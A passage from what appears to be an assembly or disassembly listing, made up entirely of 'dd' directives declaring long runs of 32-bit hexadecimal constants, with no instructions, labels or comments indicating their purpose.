2938053Eh, 7F8F3DE5h, 3EADE59Eh, 925B7B19h dd 0E725E30Ch, 4ADF410Ch, 2667AB14h, 32B9B3D8h, 7DF4BC02h dd 0BB53647Ch, 0C9204A0h, 0DD1A5752h, 0C7740326h, 0F1B583C6h dd 0CE8E0E42h, 0E91BD7EAh, 3005DF97h, 154BEE31h, 92B9AB07h dd 5EE0D215h, 7757AFB1h, 89889F61h, 42176C9Ah, 28C14DB5h dd 9255D909h, 9FF866E2h, 70DEC54Bh, 0D188E900h, 2295F1CDh dd 0CA9D2831h, 0C3D7609Fh, 0C593547h, 0B7405C8Dh, 5C515699h dd 0F6C0ACE0h, 0B72458F0h, 5764CCB1h, 0DCF446BDh, 6F102EF1h dd 0D8910F58h, 4E7F9B33h, 0C36815C6h, 0FDDDDC1Ah, 89EA3532h dd 0A2AF57B6h, 1547EC64h, 15BBD27Ah, 5D43F135h, 0CDBD0DE8h dd 0D45390E0h, 0CE5C921Dh, 612EC0D1h, 78420F4Bh, 8E332D3h dd 5323D12Ch, 0F0EAEB62h, 1246E3B1h, 0CF18994Dh, 0AD6984CAh dd 603F0A80h, 231444C1h, 674002EFh, 0A104E41Ah, 0DF9AB5E4h dd 1AC7B21Bh, 0E2253887h, 0E53D5661h, 465263Eh, 2B19EADDh dd 0F4FD0C52h, 9741A1D1h, 0C5196258h, 4BDC74A4h, 0DB4D2BEh dd 427CA91Ch, 0E4914EA6h, 903724DBh, 1545F093h, 0DED72DE6h dd 6983BBB0h, 0A01E8AC4h, 0B05D1B4Eh, 8C8BC61Ah, 0F0B0C592h dd 924EE0BCh, 0F67DD466h, 99E638C3h, 0CAEBA288h, 0B5C4E54Eh dd 3722B4CCh, 0C917F241h, 711B4498h, 28195704h, 0E8ECE001h dd 93D5C67Ah, 8354048Bh, 0B648FF0Ch, 3EE134E7h, 0B6ED3D2Ch dd 3FBE91C6h, 0AB2A3E3h, 4BB34600h, 0FC839882h, 5B53AE04h dd 516C1B1Ch, 2FF22E3Ch, 47AFDBD3h, 1EBED7E8h, 0D304AAAh dd 0DA473FC3h, 368A99A3h dd 0F85A3F80h, 0EA0ED0C5h, 0F51F2496h, 0B0E8D613h, 239922A2h dd 0CB7FDD1Ah, 1B4194A4h, 798C150Dh, 66660EB1h, 0B818A204h dd 0E6ADF86h, 828D2F8Dh, 0A4641858h, 49E6973h, 0D0AB3F81h dd 0D0E7FF8Ah, 84DDE1ACh, 0AE061D46h, 0DD300B53h, 1B0A0EEBh dd 43F472D8h, 713425Fh, 26E1C3BAh, 38E49286h, 2503866Dh dd 0DBE49394h, 63D78832h, 0A071F2E5h, 180211CDh, 2416650Dh dd 6359B8C6h, 1276C93Eh, 0B586C0CCh, 7B00E589h, 2CFA1020h dd 7B3468C4h, 875C80A7h, 9EE1D83h, 0E1CA5979h, 51C595E1h dd 284B38A1h, 43BCA6DCh, 3B7CA33Dh, 0ABCC909Ah, 0A4D834B2h dd 0B332D261h, 0CCC78CB0h, 3A72D6CCh, 6720B0ECh, 0FE88DBF0h dd 555E5FB8h, 0F1052EF6h, 0F2D2F804h, 6A9AC663h, 6B5B12D9h dd 1EA2CE7Dh, 68C0F76Fh, 948FF5B3h, 93557508h, 397DAE7Dh dd 0A0A6D761h, 0A7BC98CCh, 0D35AFF23h, 58DC0E89h, 7CEF5F68h dd 0A1C166EDh, 868DDEC6h, 0C27309A7h, 6F4D3E14h, 7C07FAFDh dd 0EA8B897Bh, 664A89F5h, 0CF17ADFBh, 394EAD43h, 2A80A5BDh dd 5D84803Ch, 7D92CD81h, 9FDEA513h, 0A2FEB5BAh, 0C96D5FD4h dd 25DC11B6h, 7B7B1641h, 0E33D3D3Fh, 47B3A6D3h, 0B9A71E43h dd 1DCA51DFh, 0C165E36Eh, 0B6EFAC09h, 0EB5B221Eh, 0E64A476h dd 0DC840FB7h, 347E02B6h, 0F3650FCFh, 1D162A34h, 0CB246E47h dd 9685E912h, 39188601h, 74EBA5F6h, 742D83E5h, 9350F341h dd 4DCCD72Ah, 0AB181847h, 1A6ABF36h, 0AA7520A1h, 0AA943DEBh dd 86463839h, 0F31A0900h, 0DB53821Dh, 49AD2813h, 0A6C43D45h dd 5BC4F0Eh, 103B7452h, 631B79A7h, 48637684h, 0EBDE5055h dd 6B5A7CF3h, 0D77208D9h, 4362E757h, 2E4E3F1Eh, 380D6B2h dd 4FE36757h, 6F680BD9h, 0B51FD8C7h, 0CA89B3F1h, 65C3B850h dd 0EEE368FEh, 0ED37088Eh, 6C02A967h, 5C450C99h, 38706498h dd 0C5FAE3F5h, 61ABE716h, 2306FEFBh, 0C9066816h, 0C1882CAFh dd 5772269Ah, 4DAD28BFh, 7D3D5176h, 0E47482BAh, 0F31DB796h dd 44345D60h, 610D7C2Fh, 19C746Fh, 6967AEAFh, 3384C782h dd 3B7C6D8Eh, 0DC9461C6h, 0E27B67C2h, 17AFE1B9h, 0CAB687E9h dd 46E6FB90h, 13201D68h, 1B4E08CCh, 8109A990h, 0B710DA79h dd 0DD993FC7h, 1674A94Eh, 14DE3CEFh, 424291B6h, 7099C662h dd 0CC9E445Ah, 7DC423B7h, 6D85E8Eh, 0B27A2B82h, 12A81E57h dd 9C8FE18Fh, 0FDE505E8h, 44AE858Ch, 0F7F277E8h, 8509AA66h dd 0E4AD18ABh, 0D688EE25h, 0E9AFF64Eh, 72BBE1A5h, 9B7E1492h dd 0ADB77FBFh, 0CA0EBD6Dh, 76AD8A89h, 4C65322Bh, 1A18BB99h dd 3D03F808h, 0FB743CD0h, 0A73B562Ah, 4741B764h, 0A9340D0Eh dd 0B91656A1h, 6D93AD33h, 0D91FD7BEh, 63891DE5h, 2D97B9Ah dd 4FF7A05Ch, 488A6D8Eh, 99DF218Fh, 7F235639h, 6145050Bh dd 3987C02Eh, 0C57C8D0Bh, 1D82AB7Eh, 9B7B1440h, 7C8310Dh dd 0ED739193h, 0ACDA8DD8h, 0C476C59h, 3AECE579h, 5B8D2500h dd 0CF196C42h, 0C41D0723h, 0EB14B1DBh, 757A81BFh, 336A649Ah dd 0AC65EE37h, 0D74345BCh, 5182CB6Fh, 6786EAF0h, 0C5B4C86Dh dd 7915EFFBh, 0D5ABC1CEh, 0D21E69FDh, 0EE3CE09Ah, 1BA5CD04h dd 0E47C9B01h, 8FDA566Bh, 42B386F8h, 0C34DFFCEh, 5A16FCECh dd 6B42CB1Bh, 5E6E5CB5h, 0C5F42A60h, 5080A33Bh, 7C300350h dd 486C2678h, 6479CA35h, 101C290Eh, 0A9A0F68Ah, 0B67B1258h dd 1D861DF9h, 0C6A7A8FCh, 0ACD6F7ABh, 0A802D1C1h, 8606196Fh dd 1E07BAAAh, 0A084746Eh, 0B54FA50Dh, 0B560298Ah, 6934F87Bh dd 75D860D6h, 56223B17h, 711B078Fh, 87C93E18h, 0CA6A5596h dd 0B93B03F6h, 97A8EB34h, 0A75271A7h, 62452F44h, 0D2B7C4FBh dd 70D9E7BEh, 0D826944h, 88227C13h, 0A225D99Ah, 0A4576EA3h dd 33971779h, 0A8417943h, 0FEEF7B91h, 947AEB3Fh, 0F1E31271h dd 97B48485h, 6C4FCC83h, 6DDE7A8h, 0B246A95h, 0FA5F0863h dd 0C70A9598h, 27379692h, 0ACD520B5h, 8C04AD0Fh, 8EA4474h dd 0F8D9EF8Ch, 0D648CEF2h, 9062F7D0h, 5E53324Ah, 392CCA5Ah dd 61F15B54h, 6F0A68E2h, 25C9D243h, 59FC4144h, 0FC29F849h dd 0F036504Eh, 0FF92E89Fh, 52009431h, 337D937Eh, 4DC9252Fh dd 761270ADh, 0B81B8219h, 0DFAC00BEh, 521510BAh, 41DD1D36h dd 0A3740065h, 14897798h, 0FA5F18E8h, 0AF61EF88h, 7A3B2B02h dd 658B9026h, 26E9A234h, 9C151DF6h, 421F92B2h, 43BF4BCFh dd 7E30D15h, 44D15E39h, 4E30D3ABh, 0BDCD82C5h, 619A9CD6h dd 5559C84Dh, 17A23D08h, 0E53FE13Ch, 14C92C36h, 2D70A64Ah dd 0FE974519h, 120098BEh, 123ED177h, 931653FAh, 408B4304h dd 2E3D0C5Eh, 71A8617Ah, 0ED022F9h, 253A08F7h, 0C332887h dd 0D6D56142h, 58DAA1CFh, 0F2DD3A5Eh, 0FE979EC0h, 0F6E0601Ch dd 0DB00405Dh, 3A14CC18h, 75A1F8CFh, 849E0079h, 60048F77h dd 89887515h, 0B0D4C14Eh, 244FAA86h, 0A5BA3737h, 0BE442128h dd 0DF4FC3D5h, 0CF981B77h, 60EF9519h, 408D2575h, 9E31FABFh dd 0E9AC5692h, 6B9CE5D8h, 0D4664358h, 1936B554h, 943BE889h dd 0A2671293h, 1C7AE004h, 6E59599Dh, 0BB9111C7h, 88173850h dd 44AA1951h, 8E19E12Dh, 0CB402888h, 9E0E41C3h, 1E8E8C48h dd 0D79A1E37h, 675029C7h, 7EE0DB69h, 6DA30A8Ch, 71BB1053h dd 0A628331Eh, 10DD9619h, 6E04257Dh, 34C530B2h, 27B8502Eh dd 6DE06E17h, 107F84A2h, 4447D375h, 0C5AAF3EBh, 0C7076D7Bh dd 0EEBE041Eh, 8CDF7B7Eh, 99FE5E7Eh, 1C7C573Bh, 5BB1BED0h dd 313618EFh, 5CD2195Bh, 17123DF4h, 41BB6555h, 0DB208926h dd 389FBC93h, 0AC7FC9B2h, 612AEEE0h, 0DA38954Ah, 0B50A9271h dd 0E787B9AFh, 59380B5Bh, 0ECF04BAEh, 121FA699h, 0CB19E51Ch dd 14BF9836h, 0E75BEE36h, 0AAA32ECBh, 0F74B1BFAh, 0F4573275h dd 0ABEADFF8h, 0F2E4A375h, 62921131h, 3CD3881Fh, 0C4BE5CA3h dd 0BBB9F229h, 92660902h, 0DC9DCA06h, 87F8CD22h, 70BF8961h dd 0C0107B9Bh, 5CF606CFh, 7972FC75h, 0DEE7F160h, 660C6121h dd 7EC2470Ch, 3DB2C215h, 2A46A43Dh, 0FE365F71h, 8503A108h dd 0CA5ABC03h, 0D4C5EEF0h, 0C9F2B2A8h, 0B28F1D35h, 27A8CA26h dd 0FBB1ACBBh, 401AEC83h, 57824E3Dh, 823666CAh, 67FAC1B1h dd 3BBFF53Dh, 8F6DD490h, 906FB756h, 83D20B6h, 4055B919h dd 63FE0EEh, 5E09A02Ah, 0C4A1FBF1h, 3AEAAFEDh, 74A4C9E7h dd 0D7AC1A69h, 0CB3373BCh, 39696B33h, 852A708Bh, 0BB131140h dd 0ABCDB55Dh, 94CBAC70h, 0C6DB068Eh, 0FAEC0D48h, 19533030h dd 0BF3AE3B3h, 9074004h, 32D4EEB3h, 931518D0h, 0B40F594Eh dd 40542FBDh, 0D48DC6C8h, 175AE742h, 0D03C23A3h, 0DA42F507h dd 560A942Ah, 229CBE7Ch, 19084C30h, 1CDB14EDh, 324B80DBh dd 0B7780909h, 98A8454Bh, 0B4799F99h, 3581B643h, 0EF69DE48h dd 428F9937h, 5FDEB307h, 0E6EC49A0h, 0BA2D5E11h, 43677E36h dd 0A79B5318h, 8ABF26C5h, 0A8E165AAh, 2B5934ADh, 4C83A504h dd 307ED106h, 4FF83945h, 776013C3h, 0A74083D1h, 874A5961h dd 0BC8CFF30h, 0A9E7D357h, 380AD677h, 0C60D4333h, 121CB4E7h dd 8B9FCE5Bh, 68803AD1h, 6D48DC3Dh, 0C21E7FA5h, 0BA06B042h dd 9567AAA1h, 0A00329B8h, 69C9E4A2h, 0D766A695h, 354EE0B1h dd 535036C1h, 94CF6457h, 3D39ADF0h, 0E5DE5C83h, 0DF752330h dd 8B19BE35h, 4E37DE28h, 0F555E05Ah, 0F08FB614h, 87A8E116h dd 152EF917h, 405027E4h dd 394934DEh, 0E8B8FE17h, 7C67D5B8h, 2B0C494h, 1C5E6DEFh dd 16B7FA45h, 0D407591Eh, 0B7F98468h, 0E32D1572h, 0E5DCFFAFh dd 799F155Ch, 0B1501CBDh, 0C812D908h, 0FE1F3041h, 81286376h dd 0A828ADA1h, 4FE29019h, 0D2E5489Dh, 0C186269Ah, 56AACFEEh dd 0E5B0EC8Dh, 71C26C6Eh, 98682C8Fh, 7A6B92ECh, 6AD6480Dh dd 21FC7638h, 8FC332F7h, 0A66B245Ah, 0BD450ADDh, 7DA861B2h dd 47E94728h, 0C1397633h, 18382DD9h, 39D42A98h, 0E92F30B6h dd 0A44E97DAh, 9D6B07C1h, 864CC6C3h, 0FBD70B9Dh, 0C8D64F96h dd 0B74D7CC0h, 3A586E1Fh, 98C5119Bh, 69E77177h, 640F5360h dd 310E7354h, 53A3E941h, 88F9E41h, 6D2AB7F2h, 0DC9BBD8Eh dd 143ECB28h, 5C61B3D0h, 49401ABCh, 43CFD57Eh, 7F24BEDh dd 71C31DFFh, 12B4B261h, 6D1F8ACBh, 629487D8h, 464233D9h dd 51C252C9h, 42917BF6h, 2DE9776Ah, 928EDDC5h, 72C63C33h dd 153199B5h, 214E2BC5h, 323C9061h, 0FD923B72h, 6DBFCF08h dd 3ADBF493h, 0E4D7C647h, 7705A45Eh, 4C8A2F6Ah, 0C169BB11h dd 80114816h, 1F2B09A2h, 0EE8CD863h, 0D32BB765h, 0C82CFA6h dd 0CC291E1Fh, 9BD4CB83h, 0DF8DDAD2h, 1EE81A8Ch, 0C821DD0Ah dd 0E26FA598h, 13015362h, 8D8199Ch, 0BB7E0A80h, 0F825B164h dd 50C332E4h, 732A304Eh, 2F15024Dh, 0F61F8B27h, 98E3AD11h dd 8F7F4167h, 403F3F1h, 1B60D2FAh, 0DCF6FE5Ah, 0D1E9DE62h dd 331BEB09h, 0D9FA14C2h, 14713AA3h, 7398EE1Eh, 4991B80Ah dd 722811B5h, 0EBCA607h, 0D73FDDA8h, 3B192D18h, 5DEA4567h dd 2F71C52Bh, 14384492h, 0F1B9A89Ah, 25FE4056h, 0D644A3FFh dd 628A88C0h, 167E6B68h, 87D37AF0h, 0FA7F2F46h, 0EADA10FBh dd 342BA72Eh, 96ABC254h, 0A92F21D9h, 0EDFEF05Dh, 95EA351Dh dd 8F9962BFh, 7C043DBDh, 8E08FF6Ch, 0ECB1A866h, 63913F5Bh dd 4903A86Ch, 1EE26CC8h, 0D954FA1Ch, 0F51BA77h, 0DAD04899h dd 0BDEAB481h, 0CE690481h, 400E7390h, 9BEC2188h, 5C0AC27h dd 0AADE4968h, 0F9833CD6h, 417A88F4h, 6FEDB82Dh, 0DE46B16Fh dd 99FF8176h, 821A2589h, 0B80E8879h, 3E8EBFC3h, 0F7C6725Eh dd 214BDE83h, 985C6BC3h, 0D0B3FE69h, 167FA932h, 73FEFAB3h dd 7921E6C0h, 7C30259Dh, 7E795F45h, 1D717FC5h, 4D66CE7Eh dd 0BCAECE8Dh, 429398F7h, 22F1468Eh, 86F3F391h, 52377722h dd 3D47ED74h, 81B84206h, 0AAAD4EC3h, 2E661C40h, 3F8A4888h dd 0B46FCD8h, 59D66A7h, 0EEDF3A66h, 0EB1C7E17h, 983EE52Dh dd 1E69DD23h, 1150772Ah, 4FBB50CEh, 30161048h, 59D6279Ah dd 0E49EB401h, 9F77C0E2h, 0A880E928h, 323EBE4Ch, 194C23A9h dd 313CE557h, 0FA2E2D0h, 4C3E2DE3h, 84975431h, 15BC961Eh dd 0FA3A387Ch, 0CF68CBA3h, 0A7094A8Bh, 7687374Fh, 0D4AF931h dd 0E5038F5Fh, 0FF882760h, 836559B5h, 35DA0C8Ah, 0C7909B8Eh dd 0E8FBC80Dh, 5886C2Bh, 0DECE7289h, 997D1E32h, 0B708781Bh dd 3F9B383h, 0F0C6E126h, 0CA2D970h, 6239B196h, 0F5C5F5B6h dd 1DC0B1BBh, 99528739h, 8DAE6218h, 525071E0h, 83180A58h dd 0E651D1D9h, 0B34F8780h, 3B4793EFh, 0AE1C5C37h, 7BBA0CB0h dd 88E1E6EAh, 0A980851Eh, 0A4BFC10Dh, 33DDEB9Ah, 43937A78h dd 0EEA49AFh, 0CDEAF3CAh, 76538F82h, 6CCD3EE9h, 0FEC70CD5h dd 0B3905350h, 881FD66Ch, 80C39D81h, 7CB01A18h, 0C02D5F3h dd 27EB7DD4h, 2C0A6397h, 680A93F2h, 0A7D84676h, 8544335Eh dd 1CF8AAC8h, 11397EDh, 0E28EBAC6h, 207F9399h, 1273A27Eh dd 3D41D51h, 0DEF1B347h, 26780154h, 66994C77h, 0AF4A358Ah dd 97730A45h, 0FA9CDBADh, 0DF37F3FBh, 0D4363680h, 9E4AD8DBh dd 0B9DE4AE6h, 6547FFE4h, 0E41F5010h, 8F58F3AAh, 192FE032h dd 0A29A2AA3h, 55A37FD9h, 85A6C589h, 0B2D36C49h, 635B956Ah dd 0B87C5F48h, 9E6BBE85h, 35C8FB19h, 22F0DB65h, 3C8E8794h dd 0C6F01077h, 6C34EF54h, 11A92C15h, 223B02F7h, 0BD285DECh dd 5CA4E2D7h, 2A1F3D26h, 9E111A8h, 0EE8FCD8h, 8ABF2EA1h dd 5A48FF1h, 1E159687h, 874A6DE2h, 0E5820512h, 0EDDA794Ch dd 234A03E2h, 14720CBEh, 0E9F48AEh, 167BF26Eh, 9BAE719Dh dd 0CF63527Fh, 80F6324h, 96B92252h, 0FDDA582Dh, 62D5ABE4h dd 5C4583C3h, 0DB7130h, 4A628A5Bh, 56ECC382h, 75A3B1FFh dd 489D2CA5h, 6BF9AAD2h, 0C72CA837h, 3A8B3344h, 0A4CDC912h dd 7F299543h, 0EAD1F415h, 0D8066926h, 1AE31DEh, 9BE279EEh dd 14834F05h, 5BAE21D2h, 78EFA4ECh, 50C75017h, 0D9637AAh dd 8A49B97Ch, 5B77E600h, 45A5C224h, 0BAAD44BCh, 3BE3F8FFh dd 4E0A8C44h, 0E4570175h, 66206864h, 91577F31h, 0FE51040Fh dd 0D2F74575h, 15FEA2C5h, 3248C752h, 11FEFA87h, 0B57F4470h dd 4F938CB5h, 17C9A7E6h, 0EF0B56C4h, 0AE6DA4B1h, 3BDFFB2Ah dd 96CF91F0h, 5FEBDEBFh, 0EFD6EF37h, 90E55C9Eh, 6FA76064h dd 0D60C23A3h, 0E8C9403Dh, 0EA4DC6AEh, 0CE2ABA0Ah, 0F1F93C6Dh dd 78DBF338h, 0ED801732h, 4379F75Dh, 0F52545BAh, 288AB1B9h dd 2FB833A1h, 0C072CE2Bh, 32E1ED4Bh, 70130B5Ch, 934B3381h dd 0FF9CBEB9h, 0B077AAD5h, 2548BD2Fh, 25AB3BC3h, 0DB5BE97Fh dd 2312038Eh, 46585364h, 309BF39Bh, 820971E2h, 5BA10E26h dd 0B7A319Ah, 93202AD6h, 0E1ABA438h, 7896A699h, 0D5DE4B4Ah dd 6521BF4Ch, 0B958E089h, 0C53F83E9h, 0B314419h, 2C476AB4h dd 0F5FBA2A3h, 0F64549A5h, 43241840h, 0CFA3FF53h, 73FEB6B8h dd 15A8021Bh, 0FA265B32h, 9E9E75D5h, 3EB68B35h, 2FB285E4h dd 621F5E1Ah, 9989A31Eh, 382D3516h, 0EFBC8839h, 0F34875h dd 49B83820h, 86405C5Bh, 0D4786307h, 5EB202C6h, 66D04BA1h dd 3DD884E2h, 0D48DB908h, 11536DCEh, 0E3220C4h, 9326EDDEh dd 9D4A178Ah, 0CDC38AB0h, 0B390A070h, 80B9ECDCh, 37CB03C5h dd 419608B0h, 45CE21D1h, 0E5A92C1h, 2181A76Ah, 0E26219CBh dd 0A169544h, 0F61DB3B9h, 301319BFh, 4FA894A3h, 97655F2Eh dd 6197B975h, 8E17BA94h, 0F2165FE8h, 68D478C7h, 3E003744h dd 77CEED88h, 40B2760Dh, 0F0C52BF3h, 975E198Dh, 98D76EFEh dd 22844AECh, 0AA7D02E6h, 8739F017h, 34267356h, 56EAB940h dd 162D4F55h, 0C086DDh, 5F6CC039h, 2213E97Bh, 9451EF99h dd 84A4FA0Bh, 4CA4768Fh, 725350DBh, 0A78D0D19h, 0FBBCCC48h dd 0FC4A439Dh, 4AAF068h, 0AF09BAE7h, 0DB147E77h, 86E67D42h dd 5546B164h, 6C1799E0h, 43139A20h, 555E973Fh, 0DBAE6A31h dd 89452B0Fh, 285AB3D6h, 0B5E0BE0Ah, 0C675B1AAh, 0A00D9F9Ah dd 0C9561C10h, 747E505Dh, 0DC9D1A59h, 0E91508F5h, 0D5FCCFA6h dd 7AD39929h, 7A91FBF8h, 51328A58h, 0FC36FB01h, 3879D004h dd 530AA7BEh, 0B304A78Ah, 0DB70215Ch, 53BCE42Dh, 138BF7FFh dd 0B7ABBCF1h, 91D913A3h, 1BD3F43Fh, 884E36EFh, 0E0F4EFD3h dd 234FD3CDh, 497DC8D9h, 0AC4C3448h, 96122F10h, 0A98D6D9Ah dd 0B6068FC2h, 55B1423Fh, 726F7630h, 4AAF117Ch, 0D10F2D31h dd 1897F778h, 0EADFBABAh, 0D556EA56h, 0ED388CABh, 0F2BE122Bh dd 0BCFAF33Eh, 5E2AEF43h, 0A4A22F23h, 95BCD862h, 9EF3D91Ah dd 0E21DBADEh, 59161295h, 7B8A0383h, 0BD30FBF2h, 0E6C673CAh dd 188C87B7h, 0A800B66Ah, 0F533E186h, 0EB734D0Eh, 3A3CBD1h dd 1496500Fh, 1659F11Ah, 0CBBD8849h, 0EC219B36h, 180ED4D4h dd 227CB187h, 51BC2545h dd 89CE592h, 0D2B49714h, 0B8852C3h, 7F11EFDh, 43DD0CCBh dd 0DA986248h, 0B14797A7h, 94CD965Eh, 0BE689FDh, 0ECB72DE4h dd 0D8BF7423h, 72647239h, 0A9979078h, 2961D978h, 4C5F0674h dd 0D2C31C54h, 0F3D1556Dh, 0EE63C257h, 0CB54F7FAh, 0AB1EF0A9h dd 0F4D157A8h, 635677B7h, 68D60227h, 0ED9B22B9h, 0C171B66Bh dd 4DC2C071h, 255F6842h, 2E38DFDEh, 24B782h, 0BDC362F8h dd 5B1C4284h, 0CAE158D9h, 0A63752BEh, 0C6604159h, 2969E73Bh dd 0EF16F3A4h, 35F8D19Bh, 0FFF2CE42h, 0A4D43D9Ch, 49D746BDh dd 0D69E80F2h, 0D9B8A5BFh, 0C6A62613h, 807FBA32h, 9574520Ah dd 508FC5F1h, 10ED09Ch, 0C51DF462h, 886E5A3Eh, 7C756F7Dh dd 0EF13912Bh, 2D54E606h, 0EA150CCAh, 0F5AEFA65h, 1168DF1Bh dd 0C90474A5h, 25BAF106h, 7BBD8CAAh, 0D266F3BBh, 31759E99h dd 5DA524EAh, 0AD056C82h, 0BB3ABECh, 7B23399Bh, 0FF1C67Dh dd 65E569Eh, 714F5045h, 5B2D1357h, 7E4B5633h, 32A9A023h dd 0D59EEB8Dh, 0F3360281h, 0B876323Fh, 186B9CEh, 18C7BE5Fh dd 0F037D2FAh, 0C3551EBEh, 4EC545EEh, 0F9760467h, 4842DC54h dd 3B42947h, 41919218h, 5756AA1Ch, 22908EFAh, 0E79DEA88h dd 2C0E8BA5h, 3A95BBD6h, 9455F362h, 0F659F43Ch, 24F1A182h dd 0B3C454E2h, 11464699h, 0E21D1A8Ah, 9611DE41h, 488067D1h dd 59A53A0h, 8571039h, 9ABA02E2h, 0DBDBA066h, 31C15E22h dd 711BE274h, 1BED1045h, 9FF697FDh, 0BDCB0860h, 41EE6368h dd 0C0CD2C69h, 51E3C386h, 0ADFB2C19h, 0B67BAB82h, 0B664AD9Ah dd 3B5F5F73h, 3245175Ch, 0AA0603B0h, 150B8484h, 0FE7DC153h dd 1F02BC0Ah, 0AC5EADF8h, 86E3C2D6h, 1A03CCA0h, 38B66637h dd 9B064FDAh, 6B087CA8h, 0E4B7FD15h, 4A4EA933h, 7BF1CC11h dd 23AA2A3Fh, 4493917Ch, 417EA29Dh, 0D84F0A95h, 0DA01178Fh dd 0DD4F0416h, 0CEF1E477h, 69D53F73h, 0DA964D07h, 52D44481h dd 1039B0F7h, 3B713C7Fh, 8CCA2F1Bh, 65E86A4Bh, 0B072A79Ch dd 720A5434h, 15272928h, 423833BDh, 94AC3D85h, 82C501D3h dd 2A0D01DFh, 0BF2F488Ah, 50D84ECBh, 146556C8h, 7F51599Ah dd 3749F16h, 95B11673h, 0B848C906h, 0D48A4985h, 0F71A4DDEh dd 0D1BD796Dh, 0EBD5F1C3h, 60E2B097h, 0EC87794Dh, 0D113F8F0h dd 0F623AC26h, 8FEB97C9h, 0F44CAB22h, 15C6358Ah, 0FE659B5Ch dd 9E2E2384h, 0E1631C19h, 831A13Fh, 0A9D5DBE3h, 6B313BB2h dd 0AB51249Bh, 0DE6431C2h, 0ACFEAE8Ah, 3967C4CEh, 593EB61Eh dd 21ECE399h, 350FF5BEh, 1B5DE396h, 0F6C28481h, 40DDC508h dd 0C4213EB2h, 273AAE3Ch, 0C85E96F4h, 1A1F89A7h, 0EF285680h dd 6240D983h, 793CD828h, 7CC09E78h, 2738F964h, 0F6722FE7h dd 0BF7F2E30h, 8F6D4DDCh, 0D381DD7Ch, 47C661E8h, 0DF312D01h dd 2BE45A42h, 0C7A970D9h, 0C39E1BD0h, 984E8A45h, 0D5ECEF26h dd 9AF46592h, 0F6A8899Eh, 0E8172A85h, 0D05C79B5h, 0E41B78D4h dd 6EE1122Eh, 308ED02Ch, 4A2527B0h, 98073412h, 0AA68EF1h dd 50406AD3h, 3017EBEh, 0D336D913h, 0FA3D29ACh, 335DFF06h dd 5B8F03A6h, 4140BF5h, 0EB92DAC5h, 8B9C62F7h, 8950D805h dd 0CA1BB62Ah, 4886487Bh, 0CFA47DA7h, 691654BCh, 46A767BDh dd 6BEBE113h, 3D01FD98h, 53F90137h, 0E1DF5E40h, 9B4265E6h dd 8AC3FA35h, 4DF872FFh, 400D93BDh, 0BE129800h, 1E8835F4h dd 0DED7A43Ah, 47FECD0Fh, 65D133E1h, 553AF2C0h, 6E3EEC2Fh dd 599135E3h, 478A0211h, 9CFF5DB0h, 0BC0A8490h, 5B7439D6h dd 821FE2D7h, 0CBF5B9A3h, 8BF29BD9h, 63FB3F82h, 1DD720E8h dd 14DDB1BDh, 22112867h, 0F8752F20h, 6E7A7C15h, 27586C9Ch dd 0BC56E56Bh, 0C0C8002h, 8E815B20h, 684A29FFh, 0E7FC9A78h dd 598F70E7h, 9C9829C2h, 8C102DF4h, 9D09F9B3h, 0C41D592h dd 1E00F94Ah, 0EC3DFC52h, 0D182B9E1h, 9B4AA4EAh, 0F863A84Dh dd 27E293FAh, 51B7FD5Bh, 0DB19C68Ch, 0AE72FE1Dh, 58AE6AB0h dd 0D02E9508h, 19118C40h, 2ED1FE9Bh, 419AD0FAh, 9149C45Ch dd 0CA133BD5h, 0CC78DBB9h, 3B1B9CEEh, 76063B00h, 0D53971E0h dd 1792C1B7h, 3C8B07F8h, 0AD1007C5h, 0E4FD6CBDh, 0C1F29E3Bh dd 7E00ED22h, 0F1B4231Fh, 94981D5Bh, 3CA53F90h, 0E34589C2h dd 29F602C3h, 7ACD1081h, 79532B18h, 515C5762h, 0A8C7A8BAh dd 7FEE20B1h, 58997566h, 7C2F15A2h, 0DFB81D0h, 2F0C5A81h dd 0AB47FE6Ah, 5768D52Fh, 0F07FADD3h, 50601096h, 4D3631A0h dd 0D9B00BD5h, 99C4966Eh, 26A85647h, 30887F7Ah, 41E408D3h dd 3EDEEDA6h, 0F7D6D256h, 0DB494E3h, 74E4311Ah, 1710091Dh dd 0DBB686F9h, 0D7946FB3h, 0F335B229h, 7175C0B6h, 2B1220A0h dd 0B9590E49h, 548964BCh, 1A821FBEh, 3FDDA3AAh, 623F1682h dd 0EB98DAF9h, 39225FBEh, 0B035BE1h, 0DEE7E8EAh, 0B251A2EFh dd 592D20DCh, 2D86D22Dh, 40B74DD3h, 7E2E3F9Dh, 728542CFh dd 47CEB713h, 3C0E058Ch, 0F03D931Fh, 8108F89Fh, 805C249Dh dd 1D5DB609h, 1CE06587h, 19519C19h, 0D7F6893Eh, 0B664BC77h dd 3CF2827Bh, 299541C7h, 4BAA5505h, 96F9287Ah, 70791AB1h dd 1821D0A3h, 0FA2B9BA0h, 8A396504h, 97CAE2CCh, 22ECB885h dd 7FE3F32Bh, 0C04E0292h, 0D33452C9h, 0F44C926Eh, 6C32667Dh dd 0F4CE404Bh, 0F7609AF2h, 0CA0FB1B7h, 50791D91h, 0D991AFD1h dd 562ED177h, 86EBDFEh, 0DEF33F0Dh, 57D45E05h, 0C412413Fh dd 24C55A0Eh, 62AEB1C8h, 5BD2F459h, 0B22B14E6h, 0A869C802h dd 0BAB82A89h, 8C3BF760h, 5CE48C8h, 2FB27A8Eh, 0E88A1B0Ah dd 0AECA4EC4h, 10ECA022h, 1A14A884h, 9D0B0E73h, 1CE7EC56h dd 0C5531C8Ah, 9C68BDADh, 32B42FAEh, 0B786C284h, 0AA99FCBh dd 0FCF93867h, 0A9CDBCDh, 7C747FAFh, 92F012A0h, 0AFD6CFF2h dd 3BCB75B7h, 4DCE1A3Fh, 9624DB30h, 0E9BE9A4h, 0BAA079DAh dd 5CC0CC43h, 0AA36E56Fh, 0F541C103h, 0A2927843h, 0F40D2BA9h dd 0CBB2C5Bh, 3F76F721h, 0D76696BAh, 96FF220Dh, 0E9717FBAh dd 6091B22h, 3EAB059Dh, 0AD1F226Fh, 4420431Fh, 241CE08Bh dd 435DE2FCh, 59D3DDFh, 0EE4020D5h, 0F81803ABh, 0BE7405F8h dd 0ACAB5417h, 813E24FEh, 38E76A51h, 8DE11C56h, 30E6EA27h dd 0EDAE4E8Dh, 15159192h, 0C8ACCE9Dh, 517FA655h, 25CD314Dh dd 0D793F78Eh, 0F3BDD9F6h, 0D837A9E8h, 38F6D809h, 0C7929F9Fh dd 1DDE70DDh, 0CB1BAEFDh, 0A085D0C2h, 0E875E0EFh, 0E33FE9F6h dd 4FFEC88h, 0D1362829h, 0BF779E52h, 0FAA869E6h, 690C9605h dd 5B7E7855h, 5429403Dh, 0B0922525h, 1276A5C9h, 